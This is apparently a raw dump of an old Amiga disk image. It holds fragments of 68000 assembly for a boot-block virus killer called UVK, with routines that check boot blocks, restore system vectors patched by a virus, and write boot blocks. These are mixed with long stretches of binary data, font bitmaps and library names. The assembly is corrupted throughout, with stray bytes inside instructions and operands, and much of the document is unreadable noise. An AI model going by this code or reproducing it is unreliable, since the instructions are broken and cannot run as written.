endmp1 move.l #ananoth,d2 bsr.L ecrire2 bsr.L wait rts endmp1: move.b virdia,d0 move.b loadia,d1 move.b d1,d2 add.b d0,d2 tst.b d2 beq.s anaerr cmp.b #2,d0 bge.s survir tst.b virdia beq.s bblo move.l #bbvir1,d2 bra.s endana survir: move.l #bbvir2,d2 bra.s endana bblo: move.l #bbloa,d2 endana: bsr.L ecrire2 move.l #rett,d2 bsr.L ecrire2 bsr.L wai'|\tret anaerr: rts idiopar:lea ioparl,a2 idparlp:cmp.w 2(a2),d0 bne.s unpar move.l d1,d4 tst.l d6 beq.s niopt move.l #analt,d2 bsr.L ecrire2 move.l #anadskt,d2 bsr.L ecrire2 moveq #0,d6 niopt: move.l d4,d0 bsr.L conv novlen: move.l 4(a2),d2 cmp.l #iolen,d2 bne.s nlen cmp.l #$400,d4 bne.s nvlen add.b #1,virdia nvlen: add.b #1,loadia nlen: bsr.L ecrire2 move.l #convtxt,d2 bsr.L ecrire2 moveq #0,d7 unpar: addq #8,a2 tst.l (a2) bne.s idparlp rts CheckSum:tst.b Aut(\2L|oF bne.s EndSum move.l #SouT,d2 bsr.L EcriClr bsr.L WaitRet bsr.L ReadTrk bne.S EndSum bsr.L DoSum move.l Dosbase,a6 move.l #SumT,d2 bsr.L EcriClr move.l #50,d1 jsr -198(a6) move.l #Wr,d2 bsr.L EcriClr bsr.L WritB EndSum: rts WbStart:clr.l WbMsg move.l 4.w,a6 sub.l a1,a1 ;current task jsr -294(a6) ;FindTask move.l d0,a4 tst.l 172(a4) ;pr_CLI bne.s FromCli lea 92(a4),a0 ;pr_MsgPort jsr -384(a6) ;WaitPort lea 92(a4),a0 ;pr_MsgPort jsr -372(a6) ;GetMsg move.)_TA'l d0,WbMsg ;sauve Msg FromCli:rts WbOut: tst.l Wbmsg beq.s EndCli move.l 4.w,a6 jsr -132(a6) ;Forpib move.l WbMsg,a1 jsr -378(a6) ;ReplyMsg Endcli: rts Ecrire3:move.l Dosbase,a6 jsr -60(a6) move.l d0,d1 bra.s Ecr3 Ecrire2:move.l Conhandle,d1 Ecr3: move.b #0,FlagEcr movem.l a1/a0/d2/d3,-(a7) move.l d2,a0 clr.l d3 EcriLp: addq #1,d3 cmp.b #-1,(a0)+ bne.s EcriLp subq #1,d3 bra.s Ecr1 Ecrire: move.l Conhandle,d1 move.b #1,FlagEcr Ecr1: move.l a0,-(a7) move.l Dosbase,a*'v6 jsr -48(a6) move.l (a7)+,a0 tst.b FlagEcr bne.s EndEcr movem.l (a7)+,a1/a0/d2/d3 EndEcr: rts EcriClr:move.l d2,-(a7) move.l #EcrClrT,d2 bsr.s Ecrire2 move.l (a7)+,d2 bsr.s Ecrire2 rts Keypage:move.l #keytxt,d2 bsr.L ecrire2 bsr.L waitret moveq #-1,d2 rts Greet: move.l #Greeti,d2 bsr.L ecrire2 bsr.L waitret moveq #-1,d2 rts Amiguy: move.l #guytxt,d2 bsr.L ecrire2 bsr.L waitret moveq #-1,d2 rts Copyb: move.l buffer,a0 move.l boots,a1 move.l #$100,d0 Coplp:+ PU move.l (a1)+,(a0)+ dbf d0,coplp rts Opendrs:clr.l d0 move.b drs,d0 bra.s opendr Opendrd:clr.l d0 move.b drd,d0 bra.s opendr Opendev:sub.b #$30,d0 Opendr: move.l d0,d0 move.l 4.w,a6 moveq #0,d1 lea Diskioreq,a1 lea Trkdisk,a0 jsr -444(a6) tst.l d0 bne.L end rts Chkboot:tst.b AutoF bne.s PasRead bsr.L Readtrk bne.S EndCBoot PasRead:move.l Buffer,a0 lea Bootlist,a1 Bspelp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoBSpe move.l 4(a0,d0.l),d1 cmp., 7l 8(a1),d1 bne.s NoBSpe bsr.L Orange move.l #Cls2,d2 bsr.L EcriClr move.l $c(a1),d2 bsr.L Ecrire2 bsr.L Normal move.l #Reco,d2 bsr.L Ecrire2 tst.b AutoF beq.s NoAutoC bsr.L Wait rts NoAutoC:bsr.L WaitRet rts NoBSpe: add.l #16,a1 tst.l (a1) bne.s BSpeLp EndCBoot:rts Display:tst.b AutoF bne.s EndDisp bsr.L ReadTrk bne.S EndDisp move.l Buffer,a0 lea Scr,a1 lea $400(a0),a2 Scrct: move.b (a0),d0 cmp.b #$7f,d0 bhi.s NoCar cmp.b #$20,d0 blo.s Nocar move.b (a0),(- Qa1)+ bra.s Cont NoCar: move.b #$2e,(a1)+ Cont: add.l #1,a0 cmp.l a0,a2 bne.s Scrct move.l #Scr,d2 move.l #$400,d3 bsr.L Ecrire DisWaR: bsr.L KeyRead cmp.b #"p",d0 beq.s DisPrt cmp.b #"P",d0 beq.s DisPrt cmp.b #$d,d0 bne.s DisWaR EndDisp:rts DisPrt: btst #0,$bfd000 ;on line bne.L VeriPrt btst #1,$bfd000 ;no paper bne.L VeriPrt move.l DosBase,a6 move.l #NameP,d1 move.l #1006,d2 jsr -30(a6) move.l d0,PrtH beq.s DisWaR move.l ScrP,a0 lea Scr,a1 moveq #15,d2 DisP. .Lp2:moveq #63,d1 DisPLp: move.b (a1)+,(a0)+ dbf d1,DisPLp move.b #10,(a0)+ dbf d2,DisPLp2 move.l DosBase,a6 move.l PrtH,d1 move.l #ScrPrt,d2 move.l #ScrPrE-ScrPrt,d3 jsr -48(a6) move.l DosBase,a6 move.l PrtH,d1 move.l ScrP,d2 move.l #1040,d3 jsr -48(a6) move.l #UvkPrt,d2 bsr.L EcriClr bsr.L Wait move.l Prth,d1 jsr -36(a6) rts VeriPrt:move.l #VerifPT,d2 bsr.L EcriClr bsr.L Wait rts nextdrs:lea drs,a0 bsr.s nextdr bra.s txtdr nextdrd:lea drd,a0 bsr.s nextdr t/avgxtdr: lea drtxt,a0 move.b drs,d0 add.b #$30,d0 move.b drd,d1 add.b #$30,d1 move.b d0,10(a0) move.b d1,16(a0) lea inst,a0 move.b d1,28(a0) lea sout,a0 move.b d0,20(a0) lea dest,a0 move.b d1,25(a0) clr.l d0 endndr: rts nextdr: moveq #0,d0 lea drivec,a1 move.b (a0),d0 seandr: add.b #1,d0 cmp.b #4,d0 bne.s nolastd moveq #0,d0 nolastd:tst.b 0(a1,d0) beq.s seandr move.b d0,(a0) endnd: rts Copy: tst.b AutoF bne.s EndCop move.l #Sout,d2 bsr.L EcriClr bsr.L WaitretROn move.l d0,iboot bne.L RdReOk move.l #NotFt,d2 ;err bsr.L EcriClr bsr.L wait RdF2Er: move.l #-1,d0 rts RdReOk: move.l d0,d1 move.l Dosbase,a6 move.l Rd2Buf,d2 move.l RealLen,d3 jsr -42(a6) ;read cmp.l d3,d0 rts ;RealLBu CloFi2: move.l Dosbase,a6 move.l iboot,d1 jsr -36(a6) ;close move.l $4.w,a6 move.l RealLBu,a1 move.l RealLen,d0 jsr -210(a6) rts RdFile: move.l #File2,d1 RdFil: move.l Dosbase,a6 move.l #1005,d2 jsr -30(a6) ;open move.l d0,iboot bne.L xJ8RdLOk move.l #NotFt,d2 ;err bsr.L EcriClr bsr.L wait moveq #-1,d0 rts RdLOk: move.l d0,d1 move.l Dosbase,a6 move.l Buffer,d2 move.l #1024,d3 jsr -42(a6) ;read moveq #0,d0 rts CloFile:move.l Dosbase,a6 move.l iboot,d1 jsr -36(a6) ;close rts AutoChk:move.b #1,AutoF lea autotxt,a0 move.l #"on ",(a0) move.l #texte,d2 bsr.L ecrire2 AChkLp: move.b $bfec01,d0 btst #0,d0 beq.s AChkLp bsr.L KeyRead cmp.b #"S",d0 beq.s SetDrs cmp.b #"s",d0 beq.s SetDrs cmp.b #"TNt3",d0 beq.s AChkE cmp.b #"t",d0 beq.s AChkE cmp.b #"8",d0 beq.s autoEE bra.s AChkLp SetDrs: bsr.L NextDrs move.l #texte,d2 bsr.L ecrire2 bra.s AChkLp AutoEE: move.b #1,EndFlag AchkE: clr.b AutoF lea autotxt,a0 move.l #"off ",(a0) rts NewDoIo:tst.b AutoF beq.L NDoIoE cmp.b #$2,$1d(a1) ;read ? bne.L NDoIoE tst.l $2c(a1) ;boot ? bne.L NDoIoE cmp.l #$200,$24(a1) ;1 secteur ? beq.s NDoOk cmp.l #$400,$24(a1) ;2 secteur ? bne.L NDoIoE NDoOk: movem.l d0-d7/a0-a6,-(a7) J lea XenAdr,a4 sub.l #$34a,a0 move.l a0,XenoAdr move.l $2de(a0),a1 move.w #$70ff,-30(a6) ;restore Open lea -30(a6),a2 bsr.L KillXen move.w #$70ed,-150(a6) ;restore LoadSeg lea -150(a6),a2 bsr.L KillXen move.w #$70f5,-84(a6) ;restore Lock lea -84(a6),a2 bsr.L KillXen NoXeno: cmp.l #2,LenPara blo.L Uvk1 bgt EndK2 move.l Para,a0 move.b (a0),d0 cmp.b #"d",d0 beq.s OkParD cmp.b #"D",d0 beq.s OkParD cmp.b #"?",d0 beq.s OkParI cmp.b #"H",d0 beq.s OkParI cmp.b #"#Zh",d0 beq.s OkParI cmp.b #"p",d0 beq.L CmdProt cmp.b #"P",d0 beq.L CmdProt bra.L EndK2 OkParD: move.l #Date,d2 bsr.L Ecrire3 bra.L EndK2 OkParI: move.l #CmdInf,d2 bsr.L Ecrire3 bra.L EndK2 CmdProt:move.l #UvkVHu,d2 bsr.L ecrire3 move.b #1,PCmd move.l Dosbase,a6 jsr -60(a6) move.l d0,ConHandle bra.L MemTst Uvk1: move.l 4.w,a6 lea Name,a0 move.l 78(a6),d0 ;FAST/CHIP/LADY beq.S Lady move.l #"-Fas",42(a0) move.b #"t",46(a0) bra.s Chip Lady: move.l 62(a6),d0 cmp.:f@ @S("ED$o8 Ej` CR R"E(p @n`N S f&Jf 6`6Jl B6`(p&`" S!f Jf 6` Jo B6`` SfB SfB Sf SfB Sf S7f$o0 S8f$o0 S fV$o8 'f$o8$o8 %c` CR( CRr( CR$H o8r r |((`V S9f$ CR( CRC( CR$H o8(`, S:f CR( CRN(`JSf D$P| v L|Nu, , 5-FPWHxTRp02 ;g lLQRNVH><&.(. *.(|&|"| .mtmЀ0;N Jt $ЀЂ33y  T h dfZr3t49 2Bit49 3@t49 Ѐ3@333By`p3BQBy3693Xyt49 Ѐ3$THxp09/N%@` TJ`Pft`p3|P|B+ T h0 hf <`pP@ |1HxHS$T jdN$P`xHQ$T"*`p09Ҁ&AHS//NtO`N T (`r29$Ђ @ 2 S"p(N@r N%@$S  |5p"$| 2(HHL Nu pd8  LT ZZxhhhh&&!'((((YH>8 o$ /("o,$o0t@J&h0(yH@<F@(y l dfH(I*I,I$h3X`4(j h(0BB>****X3^vB30o`oooRBV@Sy^fSy`fL``2(XSA6(lg@ $h4(j h(*X:oSE QQ`DQ`8$h4(j h $/(*X:SEvB30o RBQQL|pNu ^"62 n2ABAHA HA0 2B@H@Nu B@H@HABA"BtҁрnRAQNu/$ B$HBHAЂH@B@ $Nu/$"a$Nu/$"a $Nu/$lD"pJlDF @an4gD$Nu/ @p$lDF"lDF @aH$gD $Nu /,yLN:,_Nu/,y"o / N.,_Nu&|$y j0 hf <`pP$S@ $$S | 0@ $&x&08$0("0 <ItN&*l$") <(jN`")$&&08$0("0 <IN&*l$") <(jN`")"0 <IlNvt") <(jN`v")"0 <IdN#A#iJfr`t") <IN&*l$") <(jN`")"0 <IlN&*l$") <(jN`JXf"vt") <(jN <(jPN&<t") <(jN`") <IN&*l$") <(jN`")"0 <IdNJf&<t") <(jN`H") <IN`4vtA[") <(jN`&<t") <(jN`")"0tlnvl0xgzg|g~gp gtg`gNtgvgxg*zg|g~g`hg&t"l6vg(xgzg,|g~gRpg,`(gtRgvWg gR g gn g(``hNqRAM Disk"*\"0 p INp (jNN`D"#ptf"0 pIN`""0 p(jHN"p(jxN"JfN$v(f "0(` ""0#AtR#B$#jh(#jh,#|0#|DOBeS4B8#jX0 pX6x%G(pf`RbVP0D   px&HKm;`cDEMLKHJ !CDBRKAEHYZJ6C19082345<=>?BIJmwzvpFgEtqrsx-1E09:@AK2 n2ABAHA HA0 2B@H@Nu B@H@HABA"BtҁрnRAQNu/$ B$HBHAЂH@B@ $Nu/$"a$Nu/$"a $Nu/$lD"pJlDF @an4gD$Nu/ @p$lDF"lDF @aH$gD $NuH ,yL NL@Nu/,y"/N,_Nu/,y"/N,_Nu/,y"/Nj,_Nu/,yx'"/Nd,_Nu 4H\ /,y"oL N,_Nu/,y o / N,_Nu /,y o / N|,_NuJPplhd`\XTPLHD@<840,($  |xtplhd`0,($  |xtplhd`9>S\XTPLHD@<840,($  H>8&o$$/((o,vr(<*< Sf`$|"C28( f CB0(Rp @n D$P j Xf B|$o0 D$P j Zf B|0$o0 D$P j Vf B|M` D$P j Vf B| $o8"D Q ]$o8 Qh _6A SBfp D$P j0 hf"<`rP D$PJj Vf$o8 Ѐ"`" D$P j Vf$o8 "Ѐ`$o8 Ёr N,F$o8r6A SAfX D$P| $o8Jf EB(`$o8pL_<0(pbX>.62 4:<>BDLPTX\`dfhpx|  "$(*,.02468:<@BDH\^@MQ 5-F45--EFPWMWPPWWWGHxxSTSTTRRRRRRRRRR R p1p0xaxaxaaxa02ODDD (08@HPX`hpx$&02468:DHR\^`blnx  $(N>Ƨ48BFJNR\^hlpt~$(,0:>HRVZdhj R[R\0c|R#R\0R$R\0R\\R\0|R@R\0R~R\0cS\0a_T<~-r-R[R\0+_S\0002TS\0003T'uPS\000.T,S\0001TR[R\0->S\0001T-S4TS\0001T-S2TS\0003T-S4TR]R\0A`A'A^A~R[R\0R]R\0R[R\0C,E`R @RI\0E^ER~R\0I`I`I^IR~R\0D-R\\R\0O`O'O^O~R\\R\0xR\\R\0U`U'U^R]R\0Y'TR~R\0R@R\0a'a^a~R{R\0R}R\0R{R\0R\\R\0R}R\0R{R\0e^eR~R\0R~R\0i'i^iR~R\0dR|R\0R|R\0o'o^o~R|R\0:-R|R\0R|R\0u'u^R}R\0y'tyR~R\0|xtxPyT8|`HyFp090/p09./N6O `ByB#NJ#3z:`|p#(# #$#NHyJp096/p094/N3>O `N$g `VRyBSy>Jy>n9ZHy:098y:fxN$g`SSJSb>RT0y,epLNuH04/2/ oBCp0ѐRCJop0㈑p0L NuH</8/4/J9bgpHHt9bHHÔ`"pr2t‚A |z:tʂ40 ^DHL$ ~vpjT4.("|v^TLB<60*xrlf`PLFB<82"xRyp|tnh\PJD>80"l>8dND0 v h ^ T L F 8 2 * $     n d L @ : . $   H *   n f R J F @ 4 xSR j J 2 zrj`\TPJ>0~V>|H8xph`VB2*$ |r~hJD2$vVxT6|nhJ R $ >t L\|,R |% Fd$,DL^ ~ 4z.T$fJe    xU2crH><&|$<(B$TB:Hx$SHj N$S6* 6 C PdJCf$SE 8`0@$|$r* `` Jf`(| `RHH/HH/NJPgJfJfHxNpX`$SJVg$S/*VNX$SBV$S5|ZX/:62.*&"JNVH>8$n&|(| N 6$g`p *$*rfz"R A(JfB B`#By` R |"TR(o m-SHn/.N|-@ y( Pf"/.HnN$PfN 6$`~x|t`jR І".o ІA0f/0AHpN$Pf ІA0fBHxNx X9j@ d$P ІR,xJfN 6$lJgJfnBJf6Jyg.` R |"|"R"| .nJf%E `B pL|N^NuNVH>8&.(. $|(|&|HyHy/HyN hOg lf" ftrār N`\B`Fz2 |\0fJfpfptr7Ё`pgpf`pfp fK`pp f Jf;`^pl0 |j`HJf c `8|2 |x4"H1 f0 |j0HHІRpnRp n( Ax!Y(g @fB Jm$BHy//HH/Nn#Oz2 | R"|Rp nB9R . oL|N^NuH<8&/ $/$&|(|$|$BBBB BBB(`L | R | fN/HyN #Pf/HyNzP2 |J0f 0 |TRpnJo fB9B9B9BHy//HH/Nn#O` (f>/HyNzP2 |>0fRp nJoV"` [f`z0 |,0fD0 |6x"D)fB9B9B9BHy//HH/Nn#ORpo`  fJ9f`HxHy//HH/Nn#OlJ9fB T o 9S#p#(`r"R A "R A `V"R A `F f//NP`2 e (< y h\ h!e yJ6g y((6r A"PB(`4 \f( 0m 9nz 0m 9nRRpo`RR(Jf й( o 9S#`r A"P`b \fPR 0m 9o`<&n(|(<*<x\∎# v3,z3.|30~32(4 D 8 E$P#.3<t49fBy`3/ p09/HxBr29/B$yN*E$U*Of BHx` r E$P*f( E$P*f E$Pt*pĀvăfrd$y j df E$P *fB9d$y c^p$y j dd J9dgp`p$yJj df J9dgpbg$y gbt"+(VDft"+(VDht++VDj$yv"Rgb$yv RJ g&$yv R h t432$yv R h `N4)Hx]x.0)HR324)H0)HR3,`($yv jt432$yv j3,Jyze^Jy|eTJy~cJJyc@p092r29~v69z҃e p09,r29v69|҃d BHx`$yv6* ^R yt4( \*E U"p0("N@&lv$y0* V @eb` @f `r `r`r N& E$P *gl&Nq-C"E$Qt4*$ y j&lv$y0* Z @fr`r N& E$P *gl&Nq-CJg DJg9gl$y j!eR$yp0* "<N/N(,$ypx^{0* "<N/N(-@P`|p-@J9hf܆J9jf .Ю-@`B9lJ9^gJ9fg BHx`Z69|3z|p09r2ЁS3zp09~r29|Ё3,t4S38  D( D ,.-@69~3~3p09r294r2vUƒ3`8Zp09r29|Ё3,p09~r29zЁ38Jyf4Jm DJl("p09~N@$D"N(l$D( DB9g" *E$U"p0*"N@"<N(9g(*D *E$U"p0*$N@"<N$*Dx_R$*Jg 9g(`,9g" r(R$" .N@$r( DJg 9g D `69g,$D r$D$$DR$D$" .N@$r$D$J9lg(*E$U"p0*"N@,*E$U".p0*$N@-@$".p09N@"N@$*D&"p09~N@"N@l@&".p09N@"N@&r29~ Nl"N$$D$`~$".p09N@"N@$$D&"p09~N@"N@o>$D&"p09~N@," N@&r29 Nl".N( E$PJg E$P *e E$PJg Ex`E$P * Dd BHx` tp09 DRDVg D3.30`3. D30t49.p090Ѐ#Ftp09~RDXg343~6`3~436t494p096Ѐ#NByDBF0@$|BRF F@mt$yv j(6BF`r4H//+$N=@2A$|t4.pĀ2A$|t4.0t4pĀ2A$|t4.0t4pĀPRF0Fb++g4BF4Hp ԀB$|0@ |&0% RF F mBF E$P*f"4B$| <2A |% 4xa&DB$|0@ |/0N D% XRF F@m E$P*fBr` #r#p09//B*D//B$yN#nOg`HxBBB$yN#nOg`J9VgJ9XgN`&J9VgN`J9XgN$`Nd#nJng`:t49D E$PHBJg(HxBBB$yN#nOg / /9n`BBNPL<|N^Nu/J9`gFp/r/ t/ M҂Ё4 y h `f pr24`4 y(g*t/p/ Bdt/ p/ Bdt/ B /$NuH0 $|J9^xbwC!g29ZHHH<"09:HҀ/p09Tr29@`.p09Tr29@Ё/9ZHHH<29:HЁ//9vN6O Cf $r`J9fg4B0HJ@f0@ |$`Z$ y(frB`20H @e(b` @f`W@f```/N\$X#`0@ |$p9ѹp9ѹ$p9ѹ p9ѹ(L Nu/ $|09p#(# #$#ByTO `&By<` NpRy<29>y9ZHy:RyB098y:fJNl$g`0T0y,epLNuH8$|n(|@&|RBy<8|`HyFp090/p09./N6ByB#NJ#3z:O `p#(# #$#ByT` NTRyT0yTbNHyJxOg&p096/p094/N3>O `N$g `PRyBSy>Jy>n9ZHy:098y:f\N0$g`0T0y,epLNuH8$|n(|@&|RByT8|`HyFp090/p09./N6O `ByB#NJ#3z:`HyJp096/p094/N3>p#(# #$#Byy9ZHy:RyB098y:fbN$g`SSJSb(RT0y,epLNuH8$|n(|@&|RB@3<3xfG&"NPpNu/ @# ,@C[p/,y N,_#gCIp/,y N,_#gC p/,y N,_#gAprC/,y ND,_JflA-H0<2<0Q/,y N,_A CZ#H>H#H6Ep&@/,y N,_p/,y N,_B9 ,_Nu"y/,y Nb,_"y/,y Nb,_"y/,y Nb,_"N0.n/,y N.,_p`timer.deviceintuition.librarydos.librarygraphics.library !*.2 <>@BbxgcHcddh 6ZZ\   < PaaaNuJn f/NhXCZ/,y N,_C/,y N>,_"y/,y Nb,_"y/,y Nb,_"y/,y Nb,_/.""N0.n/,y N.,_"N Q"i"!I Nu pNu/ &I/,y N|,_Rn n f/,y Nv,_/,y N,_#A4'H/NXJf . g . ftA`AxprCl/,y ND,_JfPp(AlC2Q/ y h NXJf  &_xh: NuCl/,y N>,_`/,y Nv,_p@Sn `parallel.deviceserial.device/ &I/,y N|,_A8/,y N,_Jg Clf `Cf `.G/.Hp/,y N,_@Gk/,y N,_-@Ha`BH/,y Nv,_/ y hNXCl/,y N>,_p.Gk/,y N,_/,y N|,_-_H_G/,y Nv,_Sn p'@'@f. g"KN&_Nupa !cLoY|S"ca`~-r-*+23'uP.,1o'///?AAAAAAACEEEEIIIIDNOOOOOxOUUUUYT3aaaaaaaceeeeiiiidnooooo/ouuuuytyzPxGenericnjPLHDbv@|xtplhdH{8r q0u ?B6>&9*<$.(D\UVK...\I5 .qHdZ@HGF[ZY,#I&uvk1.22bp"rEsI6cpst`t`I6Ntscrs`Kʡ@  ,y !<Xparallel.devicemisc.resourcezNuB)Jn g.ug)5f|`pB.v)5guJ)f J. fRn nu5v)5g #nZ6#n^:NuB)Jn g Sn fBnrB&u.vgNpNu0</ /,n"N,_"_|0) @ nHA pN<Q)f/,n2N,_ if .vgP9v`8 if69f.vf </ /,n"z}Y'N,_"_v </ /,n"N,_"_Nu| d|`6 <a&fB&`,)gJ/ Q"i"!I"_Snrf J&fv|))f /,n2N,_aJNu <Jn gvNu <C6/,n"N,_/,nj <N <N,_/.b"NB0.n/,n2N.,_"N Q"i"!I NuJ$fB `z.vg&ALA (!I"#@ @ RnrNu-i(*B.-I&J$jv<tgv ig t<NuH,I .&f*JnrgAL"Pz~WB g #HSnr"@a`"@ n*)fR ig9f.vf6 n*R*R.)5gA6rTg )$k.oL@Nu#n. v/,n2N,_B&Jnrfv0</,n"N,_L@Nuf.vf`zabC$N 8w/,n2N,_`Nu .&g"@ </ /,n"N,_"_BNu .&g"@ </ /,n"N,_"_BNuAL"P g #HJg "@a `BnrNu|/,n2N,_Nu <a999.t.tnt49apNu.vg|`i5u.ug -i6Z-i:^NuzZp X!HACҕ <w/,NN,_LJg"/,@-Hb-A2C|/,n2N,_-@jgCT/,nj <NJf <N,_JfAL| XB!H"N/,n2NP,_Cbp/,n2N,_-@"gHC6#|X |#N#| </,n"N,_ </,n"N,_,_NuB`ciaa.resourceP@LrTD rgAL"PI6>printersu KҬ>=<;:9JINMLKI6EpsonQK M[  ! Y2 [pNu# JT&bf @P`EpsonQ#A#/,y#CpN# glCpN#gDCXpN#gp,_Nu"y/,yNb,_"y/,yNb,_"y /,yNb,_p`intuition.librarydos.librarygraphics.library"y/,yNb,_"y/,yNb,_"y /,yNb,_pNupNuXPDI6lp bk43210/.BA@?CI6V Ram-HandlerC0  HB A"B ,xNLBNtԉ#B&#p8BX%B\r#At-nҪ\Brҩ`"*\t!r%Ah <(j8N$)!(")!DOS r#At nҩBrҩ`G" <(jTN#A <(j8N$)!(")!DOS ")t!vt" <(jN <(jN#A`") <IhN&*l$") <(jN`Z") <IN&*l$") <(jN`0v$)") <(jN`")$$0("0 <fprocp#p8I6 Disk-Validator2`HAp+2<UQQ'!m;wW7y;0 g1{usMc4E-GDدNjsf[sK=[wvz#efߺ{w=S]o%Jg-CQU]3?mj"B!EWh]/# /` 5`ƥi-ˏ ⻿ɲRߦ›< ڃ1ӆZ5q[*mqG c WG+OjGW" O3 rL#;_oS.RF{Թ[ -g'<,'m<7Ͼ#}LM؇ѧOc?qaf5׈0KUgedm6U#o os ;=fPe\o3eV/# /`ͭ@! ..,xN(@CpN#A#B"l$i<"<t&<nYC(< ,yNv,x"yNbpNua2,y"9NdNuown.procdos.library39 fNu $<DTbtzEVENMAINNAMERUN1RUN2nDOSLIBDOSBASESEGMENTWUVK...VI5 ..Y\vutsrqpon~}|{zyVIv buto131.SpU65TI6  Port-Handler5UnLLL$#p(BB #p(v։#Cx,؉#D(z@ډ#E<,<܉#FB.&p Ї$r/s>,xN:,_Jg(@((X)L L YfE. Gp~ J"K|^PQR&Q-L"E[~ g"@/,zHN,_/,z8N,_"g$ vRJf/,zN,_ NuEh~`htopaz.fontGemFont Installed. GemFont Removed. Wow, Can't Install GemFont! fffffff>`<|fl0fF68of;80088 8f< 8!R0 0 ~~`0 0```nf>ff~fff~~f<flxxlf`````~cwkccfv~~nff>``|ff|<```<>ff>>ff>|``|fff8<<``lxlf8<fkc|ffffff>|f```>`<|~ffff>fff<ck>6f< x~ 0~  `0000`2L`:"xjT.& GemFont Removed. Wow, Can't Install GemFont! fffffff>`<|fl0fF68of;80088 8f< 8u?JI5+startup-sequence)\?c/Ntsc ;s/GFonts s/Seka32 0~  `0000`2L`:"xjT.& GemFont Removed. Wow, Can't Install GemFont! fffffff>`<|fl0fF68of;80088 8f< 8U&XI5uvk.pict^ B4ր L>?9ߣZ~ <`l[<@煐m00g!o& {l}k`o??6xo+PI5 guvk.pic^ B4ր L>?9ߣZ~ <`l[<@煐m00g!o& {l}k`o??6xo.XgNjih}|{zyxwvuts~UI5 seka32abj|&HI6<<a.N<<a&Q ,xN.SF FfaB|a /IC"QQXNuj|zRFNS IRFN,I$N8JBg SEkJ SBfSg>f dVf dFf d6f d&f d ~`,~f Q\~`p~`p~` p~`p~6f d f d"|;pX`  f B`|t,;pf BSfF|:F>f d6Cf d$:{0P`"@ :{0X;pj gf FSfRF˻cĽf*JSEk%Sf` @K9Lo`zG{ B[Cx~V?/= (Sŀ^/C"kdp7%x0$g<E_cx!:/9|;_30šLrx>-~(Gbȟ#2x "?+=G!a? O`/fV<:Et+~ "b xx"?/Ðf5⡋6E~1gT,"J/T 0*/8O8;kM*OaOU"? ./^;|G<:& \| (sjRoT"E|"?oO^N|_R!xQbgxC~ 9.{N/?D~-<Px1 /w"?o'!o|?? Ń{<'ׇY9D~ qaxD 6|/8A_lG\\"Dx-q s ^\G /~Jk_*,x/>z?|NR/ /[ LxFYSo/O#D~Bm nt?2a$/~4. _%/8^| Lhr Prp> CJ8HO ^4 ȩp [,/7sG:+Z_dV|o!|r+  "?!Dx ./$?_GP?H#Rx ^r <[R_x ClR`OZb2|Μ߼W'L!9Q5=',=gA1c+Q҅U/'E,q! L]Eh} HJI!JHD2D Sl1qߑ#Hy+bRȊƘy ڨ,1.'F4%:&~ `*]=66ۘ" C?AƬΩ$rҔi"bћXܝ4^эҌ莖mh)ߍ ?}0̟Y>౷߻ߍdEo xe(Kҋo֏őJoҭ/euIຬnUHqӬ.߬Ӱ» rQ( yt! }u-et)GЛ␒i/UZྵC\ұ_>߻X0ߴR:Sh 7VcuǬػ/Qc~̛)x=  >=P88WN67ĝCg3Ɠ-/M[xQAJܞm̎8E]L4 ðï3л|>៑VcL֮вЧ29v֛b4ߕi¯R`хz¬¤751F W9VZ\Ř%tdͩA / &6fT%)"D1ae"M 3b߇W߱7=$JɘJ'0)֝΢j ڑ)퓟*6Tߌ ]ߒN[ ̰U ߈ ߜX߉ߍߛa̪߿Ҹd7,R ,N=<| YIUt'HިU,pȂphApt"(cOx@RpE?;Hp)ڛcho`c t'nDLƝ#3UlOq0(@H43HzD@StY_2@UHfV\S3Ȏ ^BE*Kb0PAd]2( K ^ p%P | pe^ Dv$ # (`|(9#t<$&B]f  gJޭyσ8Nvf]<c$ z,"vځ2$P&.Ky 0.Nj : & z"0նR>X 4j~Tt@ |A}sGBct3^͡|H92g g8>_ a/}ȳXpCGKBgx@ aje 3|]Z3$觎c0^r D6?sWPJ`dfGB0`f~g`zf@ ;=@ b=^jtAS Tr0AArf r}mf,#Rr>gDySCy;@BNuL d:  |yڥ4ByAvZl A-0-ْ?/&&T'f'B ^eaN&}*##Wf a~$?0'?U}VUīi71J qм Wq)BqEu?=`KA IyJ͈|fJAbf"1C`f.zL& bQ>+H$Rg\L|>px z mNBJ ŇB89,{(X>$y3D+?YA? ,"#r" h@7-.Ux`h'#@Ј"Q9 f tRr7!s@#=<2pABH"JA_w4l, A0pXY (eb1hOȵCs xfaFfӪXf8 RT p-06D0dO0r`C^ InɘJaAtaDtgGJsܱ;AWABӂjBS€t}I{&yqN4y$G5XmAFAS r^3 dE-]T_Q g) &QgǙBb74֥esaFPAtJ>_*\|`PEg(oP \}O~^,t/<dT@Lp\j'L RH$t'J (c̵^4~"#%18bi3t+\@,`'p )?@Y;8͂dͱ* ̸ |QIR@0xvtja_xI r $&G0""@ aN7j9BQ[ [QU <2O!OO?=+b>)YOW"c#d-fD04@9@9).FFlv:>'ZGz:g@"cUD\I5 prefs [( 5 @`px|~p`@ 3Dw ,Imagewriter K BImagewriter I5 spKsI5,UVKpHZ-,+*)('&;:987654321FEDCBA@?>=<QPONMLKJIHG\[ZYXWVUTSRgfedcba`_^]lkrqponmzI60uvk1.19ms;----------- UVK 1.19 ----------- ;21/03/90 By Amiguy >extern "df0:uvkcl",protb >extern "df0:nfmboot",nofmb >extern "df0:nodrive",nodrb >extern "df0:ledboot",nolob >extern "df0:irqprot",irqpb ; lea param,a0 ; move.l #paraend-param,d0 move.l d0,lenpara ;parametres CLI move.l a0,para move.l $4,a6 lea dosname,a1 ;open dos.lib jsr -408(a6) move.l d0,dosbase cmp.l #2,lenpara blo.s uvk1 bgt nocli move.l para,a0 move.b (a0),d0 cmp.b #"d",d0 beq.s okpard cmp.b #"D",d0 0/.9[S     "! %$#k^I64uvk1.18#:;----------- UVK 1.18 ----------- ;16/02/90 By Amiguy bra.s cont dc.b " Hey ripper, PDS do not mean FREE RIPPING," dc.b " so don't forget the credits !!!" dc.b " AMIGUY the 16/02/90 " cont: clr.l d0 move.l $4,a6 move.l 78(a6),d0 tst.l d0 beq.S lady lea name,a0 MOVE.L #"-FAS",42(A0) move.b #"T",46(a0) bra.s chip lady: move.l 62(a6),d0 cmp.l #$100000,d0 bne.s chip lea name,a0 MOVE.L #"-LAD",42(A0) move.b #"Y",46(a0) chip: move.l $4,a6 move.l -406(a6),irqopenlib A8VI6uvkcl2.Sb;----- WRITEBOOT II ---- ;Amiguy from the dreamdealers openlibrary=-408 